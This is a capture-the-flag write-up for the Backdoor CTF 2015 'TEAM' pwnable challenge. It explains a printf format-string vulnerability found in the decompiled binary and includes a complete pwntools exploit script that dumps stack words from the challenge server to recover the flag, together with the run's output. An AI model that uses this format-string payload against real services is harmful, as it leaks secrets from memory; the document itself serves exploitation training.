Category: Pwnable Points: 600 Description:
There is a wierd kind of authentication service running: nc hack.bckdr.in 8004.
The binary can be found here. The vampire says that there is no need for bruteforce.
We first check the binary:
file team
team: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x6d83b63fd19b24c9023ec3e7f43f563da4dcd729, stripped
Fire up gdb (with PEDA):
gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
Looks like we're dealing with a 32-bit ELF executable with non-exec stack and stack canary. Let's decompile it (function names added for clarity):
int entryroutine() { const char *v0; // ST18_4@1 const char *v1; // ST1C_4@1 v0 = (const char *)malloc(0xC8u); v1 = (const char *)malloc(0x64u); printf("Enter teamname: "); fflush(stdout); __isoc99_scanf("%200s", v0); printf("Enter flag: "); fflush(stdout); __isoc99_scanf("%100s", v1); sleep(2u); checkflag(v0, v1); free((void *)v0); free((void *)v1); return 0; } signed int __cdecl checkflag(const char *a1, const char *a2) { signed int result; // eax@2 int v3; // edx@7 FILE *stream; // [sp+24h] [bp-74h]@1 char s; // [sp+28h] [bp-70h]@3 int v6; // [sp+8Ch] [bp-Ch]@1 v6 = *MK_FP(__GS__, 20); stream = fopen("flag.txt", "r"); if ( stream ) { fgets(&s, 100, stream); printf(a1); if ( !strcmp(&s, a2) ) puts(" : correct flag!"); else puts(" : incorrect flag. Try again."); fclose(stream); result = 0; } else { result = 1; } v3 = *MK_FP(__GS__, 20) ^ v6; return result; }
As we can see the application first asks for our team name and the flag, sleeps for 2 seconds and calls checkflag(teamname, flag). The checkflag routine is a simple routine which opens the flag file, reads the flag into variable s (which is on the stack), compares it to the flag we supplied and tells us if it was correct. The vulnerability is fairly obvious in the following line:
printf(a1);
Calling printf with a user-supplied format specifier leads to a trivial format-string exploit. In this case we don't even have to pop a shell since we can simply read the flag from the stack. We can do this by dumping the first 30 8-byte words (using the %llx format specifier) from the stack:
#!/usr/bin/python # # Backdoor CTF 2015 # TEAM (PWN/600) # # @a: Smoke Leet Everyday # @u: https://github.com/smokeleeteveryday # from pwn import * from struct import pack, unpack # Split into blocks def split_blocks(b, block_size): return [b[i:i+block_size] for i in range(0, len(b), block_size)] # Reverse order (take block size into account) def rev(b, block_size): blocks = split_blocks(b, block_size) return "".join(blocks[::-1]) host = 'hack.bckdr.in' h = remote(host, 8004, timeout = None) print h.recvuntil('Enter teamname: ') # Send format string exploit (dump 30 8-byte words from stack) h.send("%llx." * 30 + "\n") print h.recvuntil('Enter flag: ') h.send("blaat\n") msg = h.recvall() print msg h.close() # Split stack words msg = msg.split(".") # Chop flag into correct representation blocks = [msg[4][0:8]] for part in msg[5: 12]: blocks.append(part) blocks.append(msg[12][7:]) hsh = "" for block in blocks: hsh += rev(block, 2) print "[+]Got flag: [%s]" % hsh
When dumping the stack, you can see several words (seperated by periods), some of which consist of hexadecimal representation of ascii characters only. This is where the flag is located. It's not neatly aligned with the way we dumped it but a little bit of (dirty) parsing (see above) can fix that (keep in mind the dumped stack words are in reverse order and every 2 characters of the hexadecimal representation of the flag represent a single flag character). This gives us the following output:
$ python teamsploit.py [+] Opening connection to hack.bckdr.in on port 8004: Done Enter teamname: Enter flag: [+] Recieving all data: Done (451B) [*] Closed connection to hack.bckdr.in port 8004 942414000000064.f76f8c20.94240d800000001.f772255c09424008.3566336409424140.3765313964363031.3835656232346137.6138356463613530.3131646164386231.3563636638376661.6664326331383366.3533353936333635.804830062663137.1.1.ffb4b43800000000.1f7715500.7d80e100.ffb4b43800000000.94240080804880c.ffb4b4dc094240d8.f76f83c4f758410d.9424008f7722000.8048830094240d8.0.1f756aa63.ffb4b4dcffb4b4d4.1f770fcea.ffb4b474ffb4b4d4.80482e00804a038. : incorrect flag. Try again. [+]Got flag: [{flag removed upon request of backdoorCTF admins ;)}]